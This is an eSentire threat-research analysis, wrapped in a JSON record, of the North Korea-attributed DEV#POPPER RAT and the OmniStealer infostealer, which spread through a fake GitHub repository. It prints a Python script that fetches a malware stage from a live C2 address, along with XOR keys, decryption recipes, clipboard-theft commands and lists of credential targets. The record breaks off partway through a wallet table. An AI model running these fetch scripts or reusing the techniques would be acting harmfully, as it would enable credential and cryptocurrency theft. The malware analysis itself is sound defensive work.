{
	"id": "47de9f4c-7c47-4bf7-915e-da094374f4d0",
	"created_at": "2026-04-06T00:06:43.403663Z",
	"updated_at": "2026-04-10T03:37:08.781045Z",
	"deleted_at": null,
	"sha1_hash": "8d81424f50569ef0e6702c6f7914d2be614d6567",
	"title": "Learn more about the DEV#POPPER remote access trojan and how to protect your organization from this threat.",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 5246604,
	"plain_text": "Learn more about the DEV#POPPER remote access trojan and\r\nhow to protect your organization from this threat.\r\nBy eSentire Threat Response Unit (TRU)\r\nArchived: 2026-04-05 18:24:39 UTC\r\nWhat did we find?\r\nIn February 2026, eSentire's Threat Response Unit (TRU) detected DEV#POPPER, a sophisticated Remote\r\nAccess Trojan (RAT), on a customer's machine in the Energy, Utilities, and Waste industry. TRU attributes this\r\nthreat with high confidence to a North Korean state-sponsored APT group due to shared Tactics, Techniques, and\r\nProcedures (TTPs) across similar campaigns, such as Ransom-ISAC's blog, \"Cross-Chain TxDataHiding Crypto\r\nHeist: A Very Chainful Process (Part 2)\".\r\nTRU assesses this group is primarily financially motivated, as the malware aggressively targets cryptocurrency\r\nwallets. However, targeting developers through fake GitHub repositories reveals additional objectives: supply\r\nchain compromise by stealing source code credentials, API keys, passwords, and cloud infrastructure access\r\ntokens.\r\nThis technical analysis serves two primary objectives:\r\nProvides a comprehensive examination of DEV#POPPER architectural components.\r\nIntroduces a specialized automation tool, \"DEV#STOPPER.js\", developed by eSentire that enables security\r\nresearchers to automate the deobfuscation process of intermediary stagers and final payloads like\r\nDEV#POPPER RAT and the loader for DEV#POPPER RAT / OmniStealer.\r\nInitial access occurred when the victim cloned a repository from GitHub named, \"ShoeVista\" - a weaponized\r\nGitHub repository disguised as an eCommerce platform. Launching the frontend application triggered a hidden\r\nmalicious script that progressed through several stages before leveraging multiple blockchain networks to retrieve\r\nthe source code for DEV#POPPER RAT, and stagers leading to OmniStealer (a Python-based information stealer).\r\nWhile TRU has found that most victims use macOS, the malware also supports Windows and Linux, underscoring\r\nthe APT’s broad targeting strategy and enabling it to compromise a wider range of systems.\r\nhttps://www.esentire.com/blog/north-korean-apt-malware-analysis-dev-popper-rat-and-omnistealer-everyday-im-shufflin\r\nPage 1 of 33\n\nFigure 1 – README of ShoeVista GitHub repository\r\nAttack Chain\r\nThe attack chain begins when the victim clones the malicious repository and opens the frontend application.\r\nDoing so triggers a sequence of stagers that ultimately deploy DEV#POPPER RAT and OmniStealer.\r\nDEV#POPPER’s source code is retrieved from blockchain transaction input data, decrypted, and then executed.\r\nFigure 2 – Attack chain diagram\r\nhttps://www.esentire.com/blog/north-korean-apt-malware-analysis-dev-popper-rat-and-omnistealer-everyday-im-shufflin\r\nPage 2 of 33\n\nInitial Access\r\nInitial access began after the victim cloned the ShoeVista GitHub repository, launched the application frontend\r\nand navigated to the frontend address in a web browser. This action launched a highly obfuscated Node.js-based\r\nbackdoor in the file at \"frontend/tailwind.config.js\".\r\nThe last line in this file begins with a large amount of whitespace to hide highly obfuscated code.\r\nFigure 3 – Backdoor JavaScript hidden by whitespace\r\nRemoving the whitespace reveals the first stage in the attack chain - highly obfuscated JavaScript that we will\r\nrefer to as Stage 1. This JavaScript is executed in a new node process as an inline expression, e.g. \"node -e\r\n\u003cJavaScript\u003e\".\r\nFigure 4 – Revealing the hidden backdoor\r\nStage 1 Analysis\r\nhttps://www.esentire.com/blog/north-korean-apt-malware-analysis-dev-popper-rat-and-omnistealer-everyday-im-shufflin\r\nPage 3 of 33\n\nAfter beautifying the code, we can see that it serves to unpack and execute another stage. It does so by calling the\r\nfunction \"gOe\" several times, which un-shuffles two strings. The first is the string 'constructor', the second, is\r\ncode that serves to decrypt the next stage.\r\nIt overwrites the gOe function with the next stage decryption code and calls it to decrypt the next stage (Stage 2).\r\nThe format of this stage is very similar to Stage 4 and unpacks itself using the same functionality.\r\nFigure 5 – Stage 1 JavaScript code\r\nStage 2 Analysis\r\nDeobfuscating this stage reveals that it serves to send an HTTP request to 23.27.20[.]143 (ASN 149440 - Evoxt\r\nSdn. Bhd.), decrypt the response via XOR key \"ThZG+0jfXE6VAGOJ\", and execute the decrypted result as\r\ncode via the eval() function.\r\nThe User-Agent header value is set to, \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36\r\n(KHTML; like Gecko) Chrome/131.0.0.0 Safari/537.36\" in the request. It also sets a custom header, \"Sec-V\" to\r\na value previously stored in the global variable \"_V\". This global variable is set by the prior stage and varies\r\nbetween campaigns.\r\nhttps://www.esentire.com/blog/north-korean-apt-malware-analysis-dev-popper-rat-and-omnistealer-everyday-im-shufflin\r\nPage 4 of 33\n\nFigure 6 – Stage 2 JavaScript code (deobfuscated)\r\nThe following python code emulates the behavior of the second stage: sending the request with specific headers\r\nand decrypting the response via XOR key \"ThZG+0jfXE6VAGOJ\". This code can be used to retrieve the third\r\nstage (DEV#POPPER).\r\nimport urllib.request\r\nfrom itertools import cycle\r\ndef xor_data(data, key):\r\n return bytes(c ^ k for c, k in zip(data, cycle(key)))\r\nurl = 'http://23.27.20.143:27017/$/boot'\r\nheaders = {\r\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML; like Gecko) Chrome/131.0\r\n 'Sec-V': '5', # Replace me with the value set in first stage\r\n 'Connection': 'keep-alive'\r\n}\r\nreq = urllib.request.Request(url, method=\"GET\")\r\nfor k, v in headers.items():\r\n req.add_header(k, v)\r\nwith urllib.request.urlopen(req) as resp:\r\n encrypted = resp.read()\r\n with open('dump_encrypted.bin', 'wb') as f:\r\n f.write(encrypted)\r\n decrypted = xor_data(encrypted, b'ThZG+0jfXE6VAGOJ')\r\n with open('dump_decrypted.js', 'wb') as f:\r\n f.write(decrypted)\r\nStage 3 Analysis: DEV#POPPER RAT/OmniStealer Loader\r\nThe third stage serves three primary functions: evasion in analysis environments, and to load DEV#POPPER RAT\r\nand Omni Stealer. It is around 2,000 lines of highly obfuscated JavaScript that makes use of several anti-analysis\r\ntechniques to hinder reverse engineers and automated deobfuscators. Deobfuscating and cleaning up the code\r\nreveals the original code is around 400 lines. Obfuscation of this stage is identical to Stage 5 (the DEV#POPPER\r\nRAT itself).\r\nObfuscations\r\nThis section provides an in-depth overview of the JavaScript obfuscation techniques used by DEV#POPPER\r\nvariants. Evidence indicates the threat actors likely ran their original code through Obfuscator.io, a free web-based\r\nJavaScript obfuscation service.\r\nStrings are RC4-encrypted, base64-encoded, and stored in a shuffled array. During execution, the array is\r\nreordered and indices are stored throughout the code to serve as lookups into this array. The indices are primarily\r\nstored as property values, e.g. \"a0e6.l\" or numeric literals, e.g. \"0x55a\".\r\nhttps://www.esentire.com/blog/north-korean-apt-malware-analysis-dev-popper-rat-and-omnistealer-everyday-im-shufflin\r\nPage 5 of 33\n\nFigure 7 – Encoded strings array function\r\nThe unshuffling function is seen in the figure below. It is an IIFE function (Immediately Invoked Function\r\nExpression) that takes two parameters, the encoded strings array returned by the \"a0c\" function, and the shuffle\r\negg, \"0x52d72\" which is used to determine when the encoded strings array has been re-ordered successfully.\r\nEach iteration of the loop compares against the egg, if it is not found, the first string of the encoded strings array is\r\nmoved to the end of the array and the process repeats until the egg has been found, indicating the array has been\r\nre-ordered successfully.\r\nFigure 8 – Re-shuffle array until it's ordered correctly\r\nThe final index needed to acquire the original encoded string is obtained by subtracting the index passed to the\r\ndecrypt function (a0d) from 0x151. Each string is decoded via base64 by the \"g\" function using the custom\r\nalphabet: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=.\r\nFigure 9 – Decode from base64 with custom alphabet\r\nDecoded strings are decrypted via RC4 using 4-byte keys that are stored throughout the code as either:\r\nProperty values, e.g. \"a0e6.i\"\r\nhttps://www.esentire.com/blog/north-korean-apt-malware-analysis-dev-popper-rat-and-omnistealer-everyday-im-shufflin\r\nPage 6 of 33\n\nString literals, e.g. \"'SQ]g'\"\r\nFigure 10 – Constants that store RC4 keys and encoded string indices\r\nThe function \"k\" is responsible for calling the \"g\" function to decode the base64-encoded string and RC4 decrypt\r\nthe result.\r\nFigure 11 – RC4 decryption function, decode -\u003e decrypt\r\nAs a simple obfuscation method, some strings use the escape sequence \\x. The figure below shows two obfuscated\r\nstrings, along with comments indicating their decoded ASCII characters (regular expression patterns). These are\r\nused for anti-analysis purposes, which we will describe more in-depth in the next section.\r\nFigure 12 – \\x escape sequence obfuscation\r\nAs an additional obfuscation method, string decryption calls are \"proxied\" and eventually call the core base64\r\ndecode + RC4 decryption routine (a0d). The order in which arguments are passed varies in the proxy chains -\r\nsometimes the RC4 key string is passed as the first argument and the index second, or vice versa.\r\nhttps://www.esentire.com/blog/north-korean-apt-malware-analysis-dev-popper-rat-and-omnistealer-everyday-im-shufflin\r\nPage 7 of 33\n\nThe 4-byte RC4 key string argument is always passed as a string literal, e.g. \"Z@rd\" or property value,\r\ne.g. \"a0e6.ay\", as shown in the figure below.\r\nThe index argument's type can be passed as a numeric literal, property value, binary expression, etc. This\r\ntechnique is described more in-depth in the figure below, where a proxy function, \"aY\" calls the decryption\r\nroutine \"a0d\" and passes the index as a variety of different expressions.\r\nFigure 13 – Variety of expressions in proxy callers\r\nMany strings are accessed via property name, e.g. \"o[aX('m)7Q', 0x734)]\", complicating replacement of the\r\noriginal expression with the string literal. The property value itself is also a call expression, where the callee is a\r\n\"proxy\" function that eventually calls the core decryption routine \"a0d\".\r\nFigure 14 – Variety of expressions in proxy callers\r\nStrings (post-decryption) are sometimes separated by the \"+\" operator, e.g. \"abc\" + \"def\", and are concatenated\r\nat runtime.\r\nFigure 15 – String concatenation\r\nObject-method calls are used to obfuscate both binary and call expressions. The method name is not referenced\r\ndirectly, rather it is computed at runtime by calling a proxy function, which ultimately invokes the string\r\ndecryption routine (a0b) and returns the decrypted property name (e.g., \"Qccdx\"). That property is then used to\r\nindex into an object (e.g., o), which contains the corresponding function implementation.\r\nInvoking o[decryptedPropertyName]() executes the underlying behavior - either performing the original binary\r\noperation or forwarding to the intended call expression.\r\nhttps://www.esentire.com/blog/north-korean-apt-malware-analysis-dev-popper-rat-and-omnistealer-everyday-im-shufflin\r\nPage 8 of 33\n\nFigure 16 – Original expressions converted to object-method calls\r\nBracket Notation is used throughout to hinder IDE formatting of well-known function names, e.g.\r\n\"a['startsWith']()\" rather than \"a.startsWith()\".\r\nFigure 17 – Bracket notation usage rather than dot notation\r\nDeobfuscation via Babel\r\neSentire TRU has created a script, available here, for deobfuscating DEV#POPPER intermediary stagers and final\r\npayloads like DEV#POPPER RAT. The script traverses the Abstract Syntax Tree (AST) produced by the Babel\r\nparser and processes it through the following steps, in order:\r\n1. Traverse variables for object expressions and extract constants needed for shuffle/index/RC4 key lookups.\r\n2. Traverse function declarations to identify the encoded strings array by checking if the function returns a\r\nlarge array of base64 encoded strings, e.g. \"a0c\", and store them for un-shuffling later.\r\n3. Traverse function declarations to identify the shuffler function (IIFE) and extract the \"shuffle egg\" for use\r\nlater in un-shuffling the encoded strings array.\r\n4. Traverse function declarations to identify the decrypt function \"a0d\" via pattern matching or other\r\nheuristics.\r\n5. Traverse call expressions to identify proxy callers whose parent is the shuffler function and save associated\r\narguments for later use in un-shuffling the encoded strings array.\r\n6. Traverse variable declarations to identify the variable that stores the value compared against the shuffle\r\negg, and re-shuffle the encoded strings array if the evaluation of the variable doesn't match the shuffle egg.\r\nOnce the shuffle egg matches the variable's evaluated value, the array has been un-shuffled successfully.\r\nhttps://www.esentire.com/blog/north-korean-apt-malware-analysis-dev-popper-rat-and-omnistealer-everyday-im-shufflin\r\nPage 9 of 33\n\n7. Traverse call expressions that eventually call the decrypt function, \"drilling down\" to identify the values of\r\nthe arguments (index and RC4 key) at the call-site of the decrypt function call, e.g. a0d(index,\r\nrc4KeyString). Subtract the constant 0x151 from the index and look up the index in the encoded strings\r\narray to acquire the encoded string. Decode the encoded string from base64 using the custom alphabet.\r\nThen pass the result to our RC4 decrypt function to decrypt the string literal. Replace the highest parent\r\ncall expression node with the decrypted string literal.\r\n8. Traverse binary expressions and identify use of the \"+\" operator, evaluating the expression to determine if\r\nit's a string, and replace the binary expression with the resulting string literal.\r\n9. Traverse via variable declarations to find/save constants again, for use in member expression lookups.\r\n10. Traverse member expressions and replace bracket notation, e.g. o['abcd'] with associated string literal.\r\n11. Traverse object properties for functions that return binary or call expressions and replace the object-method\r\ncall expression with the original binary or call expression.\r\n12. Cleanup \"dead code\" to make the code more readable by removing the decrypt function, encoded strings\r\nfunction, shuffle function, and all other variables/objects/functions that have no references in the code.\r\n13. Traverse string literals and delete the \"extra\" property of string literals, effectively converting \\x escape\r\nsequences into string literals.\r\n14. Save the modified AST by babel's generate() method and write to disk.\r\nAnti-Analysis\r\nTRU discovered several anti-analysis methods while analyzing DEV#POPPER.\r\nThe first anti-analysis method causes the Node.js debugger to crash with Type Error exceptions when the code is\r\nin its original \"minified\" state, making beautification the only viable option for debugging.\r\nFigure 18 – Error when debugging due to object-method calls\r\nThe second method is a self-integrity check that uses a regular expression to identify changes in the code of a\r\nfunction defined in the property at \"this['aLQvHN']\". If the code is beautified, this regular expression will match,\r\nand the for loop will execute indefinitely. The regular expression used by this technique is: \"\\w+ *() *{\\w+ *\r\n['|\"].+['|\"];? *}\".\r\nhttps://www.esentire.com/blog/north-korean-apt-malware-analysis-dev-popper-rat-and-omnistealer-everyday-im-shufflin\r\nPage 10 of 33\n\nFigure 19 – Self-integrity check leading to indefinite loop\r\nThe third anti-analysis method makes use of the regular expression \"(((.+)+)+)+$\" and causes catastrophic\r\nbacktracking by converting the a0a function to string and matching and converting the a0a function's constructor\r\nto string and searching. This causes the debugger to get hung up indefinitely.\r\nFigure 20 – Catastrophic backtracking\r\nOn Windows systems, the malware enumerates running processes via tasklist /FO CSV /NH and calculates MD5\r\nhashes of process names starting with the letter \"O\". If a process hash matches the MD5,\r\n\"9a47bb48b7b8ca41fc138fd3372e8cc0\", execution terminates. The specific process name corresponding to this\r\nhash has not been identified.\r\nFigure 21 – Terminate if (unknown) process exists\r\nIf the operating system is Linux, the next method checks various attributes about the infected machine: computer\r\nname, username, and OS release information to determine if it is likely running in an analysis environment.\r\nhttps://www.esentire.com/blog/north-korean-apt-malware-analysis-dev-popper-rat-and-omnistealer-everyday-im-shufflin\r\nPage 11 of 33\n\nEnvironments it avoids:\r\nCloud Providers: AWS, Azure, GCP, Vercel\r\nCI/CD: GitHub Actions, CircleCI, custom runners, Jenkins\r\nContainers: Docker, Kubernetes, BuildKit\r\nBuild Systems: npm, Expo, Amplify, Heroku\r\nSecurity Tools: Kali Linux, malware sandboxes\r\nDevelopment: Codespaces, staging servers, devcontainers\r\nHosting: Render, Contabo, various VPS providers\r\nOtherwise, if the operating system is not Linux, the victim's computer is checked against the following names,\r\nwhich are likely controlled by the threat actors and are used for testing purposes:\r\nEV-CHQG3L42MMQ\r\nEV-4A6OE6M0E2D\r\nFigure 22 – Terminate if executing in cloud, VPS, or sandbox\r\nC2 Communication\r\nThe figure below displays the request sent by Stage 2 to retrieve DEV#POPPER. The response body is XOR\r\nencrypted as we previously covered.\r\nFigure 23 – C2 request to retrieve stage 3 (DEV#POPPER)\r\nhttps://www.esentire.com/blog/north-korean-apt-malware-analysis-dev-popper-rat-and-omnistealer-everyday-im-shufflin\r\nPage 12 of 33\n\nThree different C2 addresses were identified in DEV#POPPER samples and the usage of one over another\r\ndepends on the value stored in the global variable, \"_V\", which serves as a campaign identifier. As seen in Figure\r\n4, the variable is set in this case to \"5\" so the C2 chosen is \"198.105.127[.]210\".\r\nNote, this is the same global variable used for the Sec-V header that we previously covered.\r\n_V \"Sec-V\" Value C2 ASN\r\nA 136.0.9[.]8 149440 (Evoxt Sdn. Bhd.)\r\nC 23.27.202[.]27 149440 (Evoxt Sdn. Bhd.)\r\nNumeric 198.105.127[.]210 149440 (Evoxt Sdn. Bhd.)\r\nFigure 24 – Use different C2 based on campaign ID\r\nDEV#POPPER filters \"noisy\" environment variables before sending the remaining variables to its C2.\r\nFigure 25 – Filter noisy environment variables and exfiltrate the rest\r\nThe figure below displays the request DEV#POPPER sends to the C2 endpoint at /snv containing harvested\r\nenvironment variables. Since developers frequently store sensitive credentials in environment variables, this data\r\nis highly valuable.\r\nhttps://www.esentire.com/blog/north-korean-apt-malware-analysis-dev-popper-rat-and-omnistealer-everyday-im-shufflin\r\nPage 13 of 33\n\nFigure 26 – Exfiltrated environment variables (URL decoded in CyberChef)\r\nDEV#POPPER sends a request to the C2's /$/z1 endpoint to retrieve the base64 encoded + XOR encrypted\r\nOmniStealer payload. Keep in mind this request originates from the python process started by DEV#POPPER and\r\nis invoked in memory via python's exec() function. This is covered more in-depth in the next section.\r\nFigure 27 – Get OmniStealer first stage (XOR encrypted and base64 encoded)\r\nLoader Functionality - DEV#POPPER RAT\r\nLoading DEV#POPPER RAT involves execution of an additional stage \"Stage 4\" that is near identical in\r\nobfuscation to Stage 1 (see Figure 4) so we will not cover it in-depth, however its purpose is to retrieve and\r\ndeobfuscate the DEV#POPPER RAT JavaScript code from a chain of crypto addresses.\r\nhttps://www.esentire.com/blog/north-korean-apt-malware-analysis-dev-popper-rat-and-omnistealer-everyday-im-shufflin\r\nPage 14 of 33\n\nFigure 28 – Load DEV#POPPER RAT staging code\r\nAfter deobfuscating Stage 4, we can see that it calls the function \"t\" and passes an XOR key, Tron address, and\r\nAptos address (as a fallback option). After the function returns, it executes it via the eval function, effectively\r\nfinding/deobfuscating/decrypting the DEV#POPPER RAT source-code from across crypto networks (Tron -\u003e\r\nEthereum).\r\nFigure 29 – Stage 4 JavaScript that evaluates code obtained from Ethereum transaction history\r\nThe \"t\" function that we discussed previously can be seen in the figure below. The purpose of the first request\r\nshown is to acquire the Ethereum address in the response data via Trongrid or Aptos as a fallback, which is hex\r\nencoded.\r\nhttps://www.esentire.com/blog/north-korean-apt-malware-analysis-dev-popper-rat-and-omnistealer-everyday-im-shufflin\r\nPage 15 of 33\n\nFigure 30 – Stage 4 JavaScript that gets Ethereum transaction address from Tron network\r\nThe next figure shows the raw response data returned by Trongrid. When the hex-encoded content is decoded, it\r\nreveals the Ethereum transaction address\r\n0x804b000af7d7e4337ba5db28bb367da64a08391de09ffb07847ac897c5f82954. This same address was also\r\ncited by Ransom-ISAC in their October 27, 2025 blog post, \"Cross-Chain TxDataHiding Crypto Heist: A Very\r\nChainful Process (Part 2)\", underscoring that data stored via crypto-networks is effectively permanent.\r\nFigure 31 – Raw response from API request to Trongrid containing hex-encoded Ethereum\r\ntransaction address\r\nNext, a POST request is sent to bsc-dataseed.binance.org (Binance Smart Chain) or bsc-rpc.publicnode.com\r\n(PublicNode) as a fallback option. The response data is deobfuscated and decrypted via XOR key, \"cA]2!+37v,-\r\nhttps://www.esentire.com/blog/north-korean-apt-malware-analysis-dev-popper-rat-and-omnistealer-everyday-im-shufflin\r\nPage 16 of 33\n\nszeU}\", where it is returned and executed via eval as we previously discussed.\r\nFigure 32 – Retrieve and decrypt DEV#POPPER RAT from Ethereum transaction data\r\nFor clarification purposes, the next figure displays the hex-encoded source code for DEV#POPPER RAT stored in\r\nthe Ethereum blockchain:\r\nFigure 33 – Input data shown in bscscan containing obfuscated/hex-encoded DEV#POPPER RAT\r\nThe next figure simulates the same behavior but in CyberChef, decoding from UTF-8, splitting by the string,\r\n\"?.?\", and decrypting via XOR, revealing Stage 5 (DEV#POPPER RAT).\r\nhttps://www.esentire.com/blog/north-korean-apt-malware-analysis-dev-popper-rat-and-omnistealer-everyday-im-shufflin\r\nPage 17 of 33\n\nFigure 34 – CyberChef view of deobfuscating the input data (DEV#POPPER RAT source code)\r\nLoader Functionality - Omni Stealer\r\nLoading Omni Stealer involves first downloading a portable python zip archive from the C2 and extracting it via\r\ntar or as a fallback, via 7-Zip. This is followed up by execution of an inline python expression via python -c to\r\nexecute the stager code that downloads/decrypts another stage that ultimately deploys OmniStealer, a python-based information stealer.\r\nFigure 35 – OmniStealer stager python script\r\nAfter beautifying the stager code, we can see that it sends a request to the C2, decrypts the response via XOR key,\r\n\"9KyASt+7D0mjPHFY\", and executes the decrypted result via python's exec() function.\r\nIt uses the same user agent as the stager that acquires DEV#POPPER, \"Mozilla/5.0 (Windows NT 10.0; Win64;\r\nx64) AppleWebKit/537.36 (KHTML; like Gecko) Chrome/131.0.0.0 Safari/537.36\".\r\nFigure 36 – First stage python script that retrieves second stage\r\nThe following CyberChef recipe can be used to decrypt a response captured from the C2 for this stage:\r\nRegular_expression('User defined','\\\\x0d\\\\x0a\\\\x0d\\\\x0a(.*)',true,true,true,false,false,false,'List capture gro\r\nFrom_Base64('A-Za-z0-9+/=',false,false)\r\nXOR({'option':'Latin1','string':'9KyASt+7D0mjPHFY'},'Standard',false)\r\nThe next stage serves to execute the final stage (OmniStealer) through the following steps:\r\nReverse the large bytes object\r\nBase64 decode\r\nInflate via zlib.decompress\r\nExecute the result via python's exec() function\r\nhttps://www.esentire.com/blog/north-korean-apt-malware-analysis-dev-popper-rat-and-omnistealer-everyday-im-shufflin\r\nPage 18 of 33\n\nFigure 37 – Second stage python script that decrypts and executes OmniStealer\r\nThe following CyberChef recipe can be used to emulate this behavior and decrypt the final stage:\r\nRegular_expression('User defined','obfDecode\\\\(b\\'(.*?)\\'\\\\)\\\\)',true,true,false,false,false,false,'List captur\r\nReverse('Character')\r\nFrom_Base64('A-Za-z0-9+/=',false,false)\r\nZlib_Inflate(0,0,'Adaptive',false,false)\r\nDEV#POPPER RAT Analysis\r\nDeobfuscating the RAT is a simple task using the tool we previously mentioned in this blog. The RAT establishes\r\npersistent C2 communications via the NPM package socket.io-client , where it listens for commands from the C2\r\nand sets up persistence by injecting code into several applications that make use of Node.js.\r\nCommands\r\nThe following table lists commands supported by the RAT and associated description.\r\nCommand Description\r\ncd/ss_fcd Change current directory\r\nss_info\r\nSystem fingerprinting information sent back to C2 including campaign ID, OS information,\r\nNode.js information, directory where the RAT is executing, time of infection, and victim\r\nclipboard contents.\r\nss_ip Victim IP geolocation data retrieved from http://ip-api.com/json\r\nss_cb Clipboard theft\r\nss_upf Upload single file to the C2\r\nss_upd Upload directory to the C2\r\nss_dir Reset current directory to current working directory\r\nss_stop Stop ongoing upload\r\nhttps://www.esentire.com/blog/north-korean-apt-malware-analysis-dev-popper-rat-and-omnistealer-everyday-im-shufflin\r\nPage 19 of 33\n\nss_inz Inject stager code for itself into specified file\r\nss_inzx Remove injected stager code from specified file\r\nss_connect Change C2 server\r\nss_eval Execute arbitrary/threat actor C2-specified JavaScript code\r\nss_eval64 Execute arbitrary/threat actor C2-specified base64 encoded JavaScript code\r\nClipboard Theft\r\nThe victim's clipboard is captured by running various commands depending on the victim host OS:\r\nWindows: powershell -NoProfile -Command \"Get-Clipboard\"\r\nmacOS: pbpaste\r\nLinux: xclip -selection clipboard -o\r\nLinux (fallback option): xsel --clipboard --output\r\nFigure 38 – Clipboard theft cross-platform\r\nPersistence\r\nDEV#POPPER RAT appends JavaScript code of the prior stage we discussed (Stage 4) at the end of JavaScript\r\nfiles belonging to many different applications that internally make use of Node.js including, Visual Studio Code,\r\nGitHub Desktop, Discord, Cursor, and Antigravity.\r\nWhen one of those applications start, the stager code executes - DEV#POPPER RAT source code is retrieved in\r\nthe same manor as previously described and executed in memory. The RAT hard-codes paths for compatibility\r\nacross Windows, Linux, and macOS.\r\nhttps://www.esentire.com/blog/north-korean-apt-malware-analysis-dev-popper-rat-and-omnistealer-everyday-im-shufflin\r\nPage 20 of 33\n\nFigure 39 – Persistence by injecting into benign applications that use Node.js\r\nLLM Generated\r\nIt is possible that the threat actors used an LLM to generate the source code for the RAT, given the extensive use\r\nof emojis, or that they prefer to see emojis prepended to debug messages sent to their C2 backend.\r\nFigure 40 – Extensive use of emojis throughout DEV#POPPER RAT\r\nOmniStealer Analysis\r\nOmniStealer is around 1,000 lines of python code and targets the following:\r\nChromium-based browser passwords, history, credit cards, cookies, cryptocurrency extension folders.\r\nDesktop-based cryptocurrency applications:\r\nSolana\r\nMonero GUI\r\nBitmonero\r\nDogecoin\r\nBitcoin Core\r\nElectrum\r\natomic\r\nExodus\r\nGit credentials\r\nCredentials stored in Windows Credential Manager\r\nVisual Studio Code extension storage files (state.vscdb, state.vscdb.backup, storage.json)\r\nFirefox passwords, history, cookies.\r\nKeychain database (macOS)\r\nhttps://www.esentire.com/blog/north-korean-apt-malware-analysis-dev-popper-rat-and-omnistealer-everyday-im-shufflin\r\nPage 21 of 33\n\nGNOME Keyring (Linux) -\u003e connects to org.freedesktop.secrets service -\u003e searches for schema\r\n\"chrome_libsecret_os_crypt_password_v2\" -\u003e retrieves encryption password\r\nKDE Wallet (Linux) -\u003e connects to org.kde.kwalletd5 via D-Bus -\u003e opens wallet folder \"Chrome Keys\" /\r\n\"Brave Keys\" -\u003e reads password from \"Chrome Safe Storage\"\r\nEnvironment variables\r\nThe malware installs the following dependencies via pip:\r\npyzipper - Used in archiving harvested files/credentials via AES algorithm\r\npsutil - Process termination for non-Windows OS, otherwise taskkill is used: taskkill /f /im\r\n\u003cprocess_name\u003e\r\nrequests - To facilitate data exfiltration over HTTP to C2 or Telegram chat\r\nTargeted Web Browsers\r\nGoogle Chrome\r\nMicrosoft Edge\r\nFirefox\r\nOpera/Opera GX\r\nArc\r\nTargeted Cloud Storage Directories\r\nmacOS/Linux:\r\n~/pCloud/Cache\r\n~/Downloads/MEGA Downloads\r\n~/Documents/MEGA\r\n~/MEGAsync\r\n~/Box\r\n~/iCloud Drive\r\n~/SkyDrive\r\n~/OneDrive\r\n~/My Drive*\r\n~/Dropbox*\r\n~/Library/CloudStorage\r\nWindows:\r\n%UserProfile%\\Dropbox*\r\n%UserProfile%\\My Drive*\r\n%UserProfile%\\OneDrive\r\n%UserProfile%\\SkyDrive\r\n%UserProfile%\\iCloud Drive\r\nhttps://www.esentire.com/blog/north-korean-apt-malware-analysis-dev-popper-rat-and-omnistealer-everyday-im-shufflin\r\nPage 22 of 33\n\nFigure 41 – Function responsible for targeting cloud storage services\r\nCrypto-currency Wallets\r\nThe following table lists cryptocurrency wallets targeted by the stealer.\r\nExtension/Folder Name Description\r\ndmkamcknogkgcdfhhbddcghachkejeap Keplr\r\nacmacodkjbdgmoleebolmdjonilkdbch Rabby Wallet\r\nidnnbdplmphpflfnlkomgpfbpcgelopg Xverse\r\nnkbihfbeogaeaoehlefnkodbefgpgknn MetaMask\r\nmcohilncbfahbmgdjkbpemcciiolgcge OKX Wallet\r\nibnejdfjmmkpcnlpebklmnkoeoihofec TronLink\r\negjidjbpglichdcondbcbdnbeeppgdph Trust Wallet\r\nejbalbakoplchlghecdalmeeeajnimhm MetaMask\r\nbfnaelmomeimhlpmgjnjophhpkkoljpa Phantom\r\nhttps://www.esentire.com/blog/north-korean-apt-malware-analysis-dev-popper-rat-and-omnistealer-everyday-im-shufflin\r\nPage 23 of 33\n\nnngceckbapebfimnlniiiahkandclblb Bitwarden Password Manager\r\neiaeiblijfjekdanodkjadfinkhbfgcd NordPass Password Manager\r\nfdjamakpfbbddfjaooikfcpapjohcfmg Dashlane\r\naeblfdkhhhdcdjpifhhbdiojplfjncoa 1Password Password Manager\r\nhnfanknocfeofbddgcijnmhnfnkdnaad Coinbase Wallet Extension\r\nhdokiejnpimakedhajhdlcegeplioahd Lastpass Password Manager\r\ngejiddohjgogedgjnonbofjigllpkmbf 1PasswordNightly\r\nkhgocmkkpikpnmmkgmdnfckapcdkgfaf 1PasswordBeta\r\ndppgmdbiimibapkepcbdbmkaabgiofem 1PasswordEdge\r\nfooolghllnmhmmndgjiamiiodkpenpbb NordPassLegacy\r\npnlccmojcmeohlpggmfnbbiapkmbliob RoboForm\r\nbfogiafebfohielmmehodmfbbebbbpei Keeper\r\nghmbeldphafepmbegfdlkpapadhbakde ProtonPass\r\nhlcjpjebakkiaolkpceofenleehjgeca Passwarden\r\nhihnblnamcfdfdjamdhhcgnpmkhmecjm mSecure\r\nfolnjigffmbjmcjgmbbfcpleeddaedal LogMeOnce\r\nnjimencmbpfibibelblbbabiffimoajp TotalPassword\r\ndeelhmmhejpicaaelihagchjjafjapjc MEGAPass\r\nfjbgpaheigpmkbdkdfghmkbnkpeofmhh Aura\r\nlgbjhdkjmpgjgcbcdlhkokkckpjmedgc DualSafe\r\nmmhlniccooihdimnnjhamobppdhaolme Kee\r\ncnlhokffphohmfcddnibpohmkdfafdli MultiPassword\r\nkmcfomidfpdkfieipokbalgegidffkal Enpass\r\nnhhldecdfagpbfggphklkaeiocfnaafm FreePasswordManager\r\nkhhapgacijodhjokkcjmleaempmchlem ESET\r\ndidegimhafipceonhjepacocaffmoppf Passbolt\r\njgnfghanfbjmimbdmnjfofnbcgpkbegj KeePassHelper\r\nhttps://www.esentire.com/blog/north-korean-apt-malware-analysis-dev-popper-rat-and-omnistealer-everyday-im-shufflin\r\nPage 24 of 33\n\nblgcbajigpdfohpgcmbbfnphcgifjopc ExpressVPNKeys\r\nhldllnfgjbablcfcdcjldbbfopmohnda pCloudPass\r\nbmhejbnmpamgfnomlahkonpanlkcfabg DropboxPasswords\r\npejdijmoenmkgeppbflobdenhhabjlaj iCloudPasswords\r\nigkpcodhieompeloncfnbekccinhapdb ZohoVault\r\ndphoaaiomekdhacmfoblfblmncpnbahm ChromeKeePass\r\noboonakemofpalcgghocfoadofidjkkk KeePassXC\r\naeachknmefphepccionboohckonoeemg Coin98\r\naholpfdialjgjfhomihkjbmgjidlcdno Exodus\r\nejjladinnckdgjemekebdpeokbikhfci PetraAptos\r\nfhbohimaelbohpjbbldcngcnapndodjp 